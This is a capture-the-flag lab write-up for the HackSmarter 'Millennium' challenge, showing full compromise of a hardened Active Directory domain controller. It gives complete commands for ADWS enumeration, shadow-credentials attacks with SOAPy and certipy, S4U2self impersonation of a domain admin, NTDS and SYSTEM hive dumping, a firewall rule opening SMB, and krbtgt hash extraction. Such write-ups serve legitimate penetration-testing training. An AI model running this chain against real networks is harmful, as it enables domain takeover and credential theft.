> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/hack-smarter-labs/2026/millennium.md).

# Millennium

Challenge Lab (Hard) - by Ross

{% embed url="<https://www.hacksmarter.org/courses/b27de94a-31a0-4af9-8551-c2f5407e3b7e>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Scenario

### Objective <a href="#user-content-objective" id="user-content-objective"></a>

Millennium Corp recently underwent a penetration test that revealed significant exposure through SMB and LDAP based attack paths. In response, the organization rapidly implemented host-based firewall restrictions and hardened traditional network services across the environment.

Believing these mitigations to be sufficient, Millennium Corp has commissioned a follow-up internal black box penetration assessment from the HackSmarter team under an **assumed breach scenario**.

As the operator, you are placed inside the corporate network. Traditional lateral movement paths such as SMB and LDAP are heavily restricted or monitored, forcing you to ***heavily rethink*** conventional Active Directory enumeration and attack strategies.

Your objective is to:

* Enumerate the environment under constrained network conditions
* Identify alternative attack surfaces beyond SMB and LDAP
* Escalate privileges to achieve full domain compromise and prove post compromise.

Millennium Corp believes their defenses have closed the gaps exposed in their previous assessment.

Your task is to prove otherwise.

#### Initial Access <a href="#user-content-initial-access" id="user-content-initial-access"></a>

{% code overflow="wrap" expandable="true" %}

```
Username: tester
Password: Pencil Testers
```

{% endcode %}

## Summary

<details>

<summary>Summary</summary>

In Millennium, we begin with assumed breach credentials against a hardened Domain Controller `DC01.MILLENNIUM.CORP` where traditional SMB and LDAP attack paths are blocked by host-based firewall rules. Initial enumeration confirms that ports 445 and 389 are filtered, rendering standard tools like BloodHound.py and NetExec ineffective. Research into alternative attack surfaces leads us to Active Directory Web Services (ADWS) on port 9389, which we leverage using Soaphound for BloodHound-compatible enumeration and SOAPy for write operations; both operating entirely outside the restricted protocols.&#x20;

BloodHound reveals that Domain Users hold `GenericAll` over the user `sully`, who in turn has `GenericWrite` on the domain controller.&#x20;

Using SOAPy, we perform a shadow credentials attack against `sully` via ADWS, writing to `msDS-KeyCredentialLink` and authenticating via PKINIT with certipy to obtain a TGT. From `sully`, we execute a second shadow credentials attack targeting the `DC01$` machine account, retrieve its NT hash, and use S4U2self with `-altservice` to forge an HTTP service ticket impersonating the domain admin `athena`. This grants us a WinRM shell on the domain controller, from which we dump the NTDS database and extract the `krbtgt` hash, achieving full domain compromise despite the hardened network controls.

</details>

## Recon

We use `rustscan -b 500 -a 10.1.216.214 --top -- -sC -sV -Pn` to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts `-sC`, service and version detection `-sV`, and treats the host as online without ICMP echo `-Pn`.

A batch size of `500` trades speed for stability, the default `1500` balances both, while much larger sizes increase throughput but risk missed responses and instability.

{% code overflow="wrap" expandable="true" %}

```
rustscan -b 500 -a 10.1.216.214 -- -sC -sV -Pn
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F3jHm6M5mrkR6g3hhMw8Z%2Fgrafik.png?alt=media&amp;token=42f57122-5db4-490f-9c79-d07c34bd206d" alt=""><figcaption></figcaption></figure>

The target `10.1.216.214` is a Domain Controller, `DC01.MILLENNIUM.CORP`, in the `MILLENNIUM.CORP` domain. DNS is exposed on port `53` and Kerberos on port `88`, alongside Kerberos password change on port `464`. LDAP and LDAPS services are available on ports `3268` and `3269` (Global Catalog). SMB is exposed via port `139`. Remote management and access are available through RDP on port `3389` and WinRM on port `5985`. The host also exposes AD Web Services on port `9389`, RPC over HTTP on port `593`, and several MSRPC endpoints on ports `135`, `49664–62839`. The system is running Windows Server build `10.0.20348` and has an enterprise CA named `MILLENNIUM-DC01-CA` issuing certificates for the domain.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FQ5IU52ZQcdSHXIFnzXR3%2Fgrafik.png?alt=media&amp;token=b7a4ba50-f860-4bf4-bbf6-53b239b21b8d" alt=""><figcaption></figcaption></figure>

We update our `/etc/hosts` file as follows, using the information from our port scan.

{% code overflow="wrap" expandable="true" %}

```
10.1.216.214    DC01.MILLENNIUM.CORP MILLENNIUM.CORP DC01 MILLENNIUM-DC01-CA
```

{% endcode %}

Using the provided credentials, we attempt to authenticate using NetExec via LDAP and SMB. However, as described in the scenario, these are hardened, and we are unable to enumerate the machine this way.

{% code overflow="wrap" expandable="true" %}

```
nxc ldap DC01.MILLENNIUM.CORP -u 'tester' -p 'Pencil Testers'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fe2JFgyoXrQh047HZOaiX%2Fgrafik.png?alt=media&amp;token=fde436cf-5447-4eb5-a08b-bc7b4e5f3158" alt=""><figcaption></figcaption></figure>

Our standard tools, such as bloodhound-ce and rusthound-ce, are failing. Authentication via LDAP is not working.

{% code overflow="wrap" expandable="true" %}

```
bloodhound-ce.py -u 'tester' -p 'Pencil Testers' -d MILLENNIUM.CORP -dc DC01.MILLENNIUM.CORP -ns 10.1.216.214 -c All --zip
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FbdqCASl7MwZ2J18Zo3PZ%2Fgrafik.png?alt=media&amp;token=6598ed6f-d133-419f-adf8-891337908ced" alt=""><figcaption></figcaption></figure>

With traditional LDAP and SMB enumeration blocked, we research for alternative approaches to Active Directory enumeration and discovered Active Directory Web Services (ADWS) on port 9389 as a viable path.

> *Active Directory Web Services (ADWS) is a default service on domain controllers (DCs) which allows clients an alternative method to collect information stored in LDAP using the SOAP protocol for subsequent attacks.*

{% embed url="<https://hacktricks.wiki/windows-hardening/active-directory-methodology/adws-enumeration.html>" %}

This led us to the [Soaphound.py – Collecting Active Directory Objects over ADWS from Linux](https://j4s0nmo0n.github.io/belettetimoree.github.io/2025/07/26/Soaphound.py-Collecting-Active-Directory-Objects-over-ADWS-from-Linux.html) article by the creator of Soaphound.py, which details how to perform BloodHound-compatible data collection entirely over ADWS, bypassing the hardened LDAP and SMB services.

{% embed url="<https://j4s0nmo0n.github.io/belettetimoree.github.io/2025/07/26/Soaphound.py-Collecting-Active-Directory-Objects-over-ADWS-from-Linux.html>" %}

The Soaphound.py article also references the SOAPy by Logan Goins (IBM X-Force Red) article, which takes ADWS interaction further by supporting not only enumeration but also write operations such as shadow credentials and RBCD. The SpecterOps operators guide, [Make Sure to Use SOAP(y)](https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/), details the operational tradecraft for stealthy AD collection and post-exploitation entirely over ADWS from Linux.

The **following article by** SpecterOps is a highly recommended read for a deep dive since it covers the full offensive workflow from OPSEC-safe collection through BOFHound ingestion to domain compromise including the defensive perspective on detecting ADWS abuse.

{% embed url="<https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/>" %}

## BloodHound Enumeration

Using the provided credentials, we will now attempt to enumerate the domain via ADWS, using Soaphound for this purpose. We are now able to gather the information.

{% embed url="<https://github.com/j4s0nmo0n/Soaphound.py>" %}

{% code overflow="wrap" expandable="true" %}

```
soaphound -d MILLENNIUM.CORP -u tester -p 'Pencil Testers' -dc DC01.MILLENNIUM.CORP -dc-ip 10.1.216.214 -c ADWSOnly --zip
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FmLEzulVwinWuuUPLaNWM%2Fgrafik.png?alt=media&amp;token=91a1ea06-a47c-47c8-9f10-ecc797535793" alt=""><figcaption></figcaption></figure>

We import the data into Bloodhound and proceed as usual.

We can see that the `domain users` group has `GenericAll` permissions over the user `sully`. This would allow us to take over `sully`'s account, for example, by changing the password.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fi8tIuRLXBheClTTR3MrN%2Fgrafik.png?alt=media&amp;token=e7d4013f-1450-4a60-8a9a-15bfe3327379" alt=""><figcaption></figcaption></figure>

Furthermore, we see that `sully` has `GenericWrite` permissions on the domain controller which renders the user as a high value target. This allows us to write to any non-protected attribute on the target object, opening up two different attack paths:

A Resource-Based Constrained Delegation (RBCD) attack which involves creating an attacker-controlled computer account, configuring the domain controller's `msDS-AllowedToActOnBehalfOfOtherIdentity` attribute to trust that account for delegation, and then using S4U2self and S4U2proxy to request a service ticket impersonating a domain admin.

A Shadow Credentials attack by writing a crafted key pair to the target’s `msDS-KeyCredentialLink` attribute, allowing us to authenticate as that account via PKINIT without knowing its password. With a `GenericWrite` on the domain controller's machine account, this yields its NT hash, which can be used for a DCSync or to forge service tickets via S4U2self. Either approach grants us the ability to impersonate a privileged user and take full control of the domain controller.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FBMau4RKmDXPiU5A0hU0T%2Fgrafik.png?alt=media&amp;token=8bac8cd1-eb1d-4daf-8722-bfe96d0a47f0" alt=""><figcaption></figcaption></figure>

We identify the user `athena` as the domain administrator and administrator.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FzdenmSUwvIAOTeCaKQ5E%2Fgrafik.png?alt=media&amp;token=f05557ea-7df4-4b34-8402-106847428a76" alt=""><figcaption></figcaption></figure>

## Access as sully

We follow the attack path identified by Bloodhound and begin by taking over the user `sully` by attempting to change the user's password. Our standard tools fail because they use LDAP and do not support ADWS.

{% code overflow="wrap" expandable="true" %}

```
bloodyAD --host DC01.MILLENNIUM.CORP -d MILLENNIUM.CORP -u 'tester' -p 'Pencil Tester' set password 'sully' 'Pwned123@!'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHktcn1exI7Oa5ZoSZalh%2Fgrafik.png?alt=media&amp;token=2b32fc0f-16b5-4699-a8d6-4b885c27c681" alt=""><figcaption></figcaption></figure>

Referring back to the SpecterOps operators guide, we chose to use SOAPy over bloodyAD for our operations. Since bloodyAD relies on LDAP to modify attributes, it fails in this hardened environment where ports 389 and 445 are blocked.&#x20;

{% embed url="<https://specterops.io/blog/2025/07/25/make-sure-to-use-soapy-an-operators-guide-to-stealthy-ad-collection-using-adws/>" %}

We get the tool from the following resource and can be installed as follows.

{% embed url="<https://github.com/logangoins/SOAPy/tree/main>" %}

{% code overflow="wrap" expandable="true" %}

```
pipx install git+https://github.com/logangoins/SOAPy
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F4RDu21uVQH4joZQVsNKB%2Fgrafik.png?alt=media&amp;token=db7022fc-e778-4c1f-b1d2-786b2f7eadc7" alt=""><figcaption></figcaption></figure>

The big advantage over SOAPHound: SOAPy can also do **write operations** over ADWS, like shadow credentials attacks, Therefore, we are deviating from our original approach to changing the password and are instead carrying out a shadow credential attack directly.

{% hint style="info" %}
However, changing the password remains an option; we could have done this via the Kerberos protocol using impackets' changepasswd.py. <https://github.com/fortra/impacket/blob/master/examples/changepasswd.py>&#x20;
{% endhint %}

{% embed url="<https://github.com/logangoins/SOAPy/wiki/Post%E2%80%90Exploitation>" %}

We perform the shadow credentials attack using SOAPy, writing a key pair to `sully`'s `msDS-KeyCredentialLink` attribute over ADWS. This returns a PFX certificate file and its associated password.

{% code overflow="wrap" expandable="true" %}

```
SOAPy MILLENNIUM.CORP/tester:'Pencil Testers'@DC01.MILLENNIUM.CORP --shadow-creds add --shadow-target sully
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F2Ahg49CsN98E2BMaBGL5%2Fgrafik.png?alt=media&amp;token=65e1eb7f-872b-4f27-acf9-2fedec39a712" alt=""><figcaption></figcaption></figure>

Using the retrieved PFX file, we authenticate as `sully` via PKINIT with certipy, which returns a Kerberos TGT saved as a ccache file along with `sully`'s NT hash:

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx GLpX0oup.pfx -password 'MWG4N5bBTkYHz3mRvGC4' -dc-ip 10.1.216.214 -domain MILLENNIUM.CORP -username sully
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FgHYMRB5uGqRbtOwm6CLm%2Fgrafik.png?alt=media&amp;token=f0ef387d-23d6-4b84-bceb-7e88fc335433" alt=""><figcaption></figcaption></figure>

We set the `KRB5CCNAME` environment variable to point to `sully`'s TGT, enabling Kerberos authentication. To verify our access, we query the domain's user objects over ADWS using SOAPy with Kerberos authentication.

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=sully.ccache
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
SOAPy MILLENNIUM.CORP/sully@DC01.MILLENNIUM.CORP -k --users
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FHVHEgWJHldMeEwVxqnKX%2Fgrafik.png?alt=media&amp;token=504a894a-6e65-4f6c-a934-ddce5d5ec425" alt=""><figcaption></figcaption></figure>

Recalling our BloodHound path we either can perfrom a RBCD attack or Shadow Credentials Attack.

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FdYesjvNNch1h425RCEwa%2Fgrafik.png?alt=media&amp;token=84d543d0-3c59-4d3e-80c8-4fd8b11155a3" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
The RBCD attack over SOAPy failed on my end, as the `getST.py` impersonation step errored with `KDC_ERR_ETYPE_NOSUPP`.&#x20;
{% endhint %}

## Shell as Athena via Shadow Credentials Attack

We set the `KRB5CCNAME` environment variable to point to `sully`'s TGT, enabling Kerberos authentication if not already applied. We then perform the shadow credentials attack using SOAPy, writing a key pair to `DC01$`'s `msDS-KeyCredentialLink` attribute over ADWS. This returns a PFX certificate file and its associated password.

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=sully.ccache
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
SOAPy MILLENNIUM.CORP/sully@DC01.MILLENNIUM.CORP -k --shadow-creds add --shadow-target 'DC01$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fs0vbjsRiJICkIhGPfo9T%2Fgrafik.png?alt=media&amp;token=ef4067eb-bcdb-4e9b-abab-1eaa13041f60" alt=""><figcaption></figcaption></figure>

Using the retrieved PFX file, we authenticate as `DC01$` via PKINIT with certipy, which returns a Kerberos TGT saved as a ccache file along with `DC01$`'s NT hash:

{% code overflow="wrap" expandable="true" %}

```
certipy auth -pfx rJ9Fzi3x.pfx -password '1QlI6KExHwO3reCgbtWD' -dc-ip 10.1.216.214 -domain MILLENNIUM.CORP -username 'DC01$'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FPS2MWzbtxacSsqlfIv4E%2Fgrafik.png?alt=media&amp;token=8918f2d9-b0bb-49a9-aa4c-6eb247039218" alt=""><figcaption></figcaption></figure>

We set the `KRB5CCNAME` environment variable to point to `DC01$`'s TGT, enabling Kerberos authentication&#x20;

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=dc01.ccache
```

{% endcode %}

Using `DC01$`'s TGT, we perform an S4U2self request to obtain a service ticket impersonating `athena`. The `-self` flag instructs `getST.py` to only perform S4U2self without S4U2proxy, which allows the domain controller's machine account to request a ticket on behalf of any user to itself.  The `-altservice HTTP/DC01.MILLENNIUM.CORP` flag rewrites the service name in the resulting ticket to `HTTP/`, which is the SPN that WinRM on port `5985` thatrequires for Kerberos authentication. Without this flag, the ticket would be issued for the machine account’s default SPN `DC01$`, which WinRM would reject.

{% code overflow="wrap" expandable="true" %}

```
getST.py -spn HTTP/DC01.MILLENNIUM.CORP -impersonate athena -dc-ip 10.1.216.214 -k -no-pass 'MILLENNIUM.CORP/DC01$' -self -altservice HTTP/DC01.MILLENNIUM.CORP
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FfqA0eGzgwtu0tiyzz89D%2Fgrafik.png?alt=media&amp;token=f51da114-9bd0-40f5-bc4f-d25cf1d31ab6" alt=""><figcaption></figcaption></figure>

We then point `KRB5CCNAME` to the resulting ticket and connect via evil-winrm using Kerberos authentication, landing a shell as `athena`, a Domain Admin:

{% code overflow="wrap" expandable="true" %}

```
export KRB5CCNAME=athena@HTTP_DC01.MILLENNIUM.CORP@MILLENNIUM.CORP.ccache
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
evil-winrm -i DC01.MILLENNIUM.CORP -r MILLENNIUM.CORP
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FGq2zYlXfLnC7SsjPws0f%2Fgrafik.png?alt=media&amp;token=7b1217db-9e81-48be-8991-1ee9cf6a741e" alt=""><figcaption></figcaption></figure>

Now we want to get the hash of `krbtgt`. To do this, we'll dump the `ntds.dit` and `system` hives and perform a secretsdump offline. Normally, we could just do this using netexec, but the services are blocked. We follow the instructions from the hackers recipes using the built-in maintenance  tool NTDSUtil. This dumps the necessary hives and the ntds.dit.

{% embed url="<https://www.thehacker.recipes/ad/movement/credentials/dumping/ntds#ntds-secrets>" %}

{% code overflow="wrap" expandable="true" %}

```
ntdsutil "activate instance ntds" "ifm" "create full C:\Users\ATHENA\Documents\NTDS" quit quit
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F0Z4cf7tPAUlSHSF95gIw%2Fgrafik.png?alt=media&amp;token=8f582157-aa09-4a41-855c-dc6d7981ed4e" alt=""><figcaption></figcaption></figure>

We downoload the `ntds.dit`.

{% code overflow="wrap" expandable="true" %}

```
download 'C:\Users\ATHENA\Documents\NTDS\Active Directory\ntds.dit'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnaUUJSMSlkwUkRyUjjCk%2Fgrafik.png?alt=media&amp;token=08f95da4-5b9b-4ec0-b364-5c82efa1e59a" alt=""><figcaption></figcaption></figure>

We had trouble downloading the resulting system hive from NTDSUtil, so we're saving it again manually.

{% code overflow="wrap" expandable="true" %}

```
download 'C:\Users\ATHENA\Documents\NTDS\registry\SYSTEM'
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2F6liGl7YZ4YXqM2kcjiqb%2Fgrafik.png?alt=media&amp;token=72e92bd4-a568-4791-be9d-faefdd2b6129" alt=""><figcaption></figcaption></figure>

{% code overflow="wrap" expandable="true" %}

```
reg save HKLM\SYSTEM system
```

{% endcode %}

{% code overflow="wrap" expandable="true" %}

```
download system
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Fl2U7xpcUcDptvWz1dse3%2Fgrafik.png?alt=media&amp;token=858da261-f043-4ad4-aa50-860fa76a8725" alt=""><figcaption></figcaption></figure>

We then perform an offline secrets dump and are able to retrieve the nt hash of `krbtgt`.

{% code overflow="wrap" expandable="true" %}

```
secretsdump -ntds ntds.dit -system system LOCAL
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2Ft1sufZ1beDiwc2HTnvHS%2Fgrafik.png?alt=media&amp;token=86b81acd-621f-491c-986a-62c6e59d78a8" alt=""><figcaption></figcaption></figure>

To speed things up we can modify the firewall to allow SMB traffic to perform a remote NTDS dump via NetExec to extract the krbtgt hash.

{% code overflow="wrap" expandable="true" %}

```
netsh advfirewall firewall add rule name="SMB Open" dir=in action=allow protocol=tcp localport=445 remoteip=any
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FFGu8AexKjgiUHGO5N0ZK%2Fgrafik.png?alt=media&amp;token=ce6d09ee-2c3b-4fc4-81c0-2843917340b9" alt=""><figcaption></figcaption></figure>

We do so as follows and are able tor retrieve the nt hash of krbtgt using Netexec.

{% code overflow="wrap" expandable="true" %}

```
nxc smb DC01.MILLENNIUM.CORP --use-kcache --ntds --user krbtgt
```

{% endcode %}

<figure><img src="https://2148487935-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FoqaFccsCrwKo1CHmLRKW%2Fuploads%2FnZdbABGw2tiylVvEYyqc%2Fgrafik.png?alt=media&amp;token=9d25fa30-3a8a-4084-9419-948ab029f476" alt=""><figcaption></figcaption></figure>
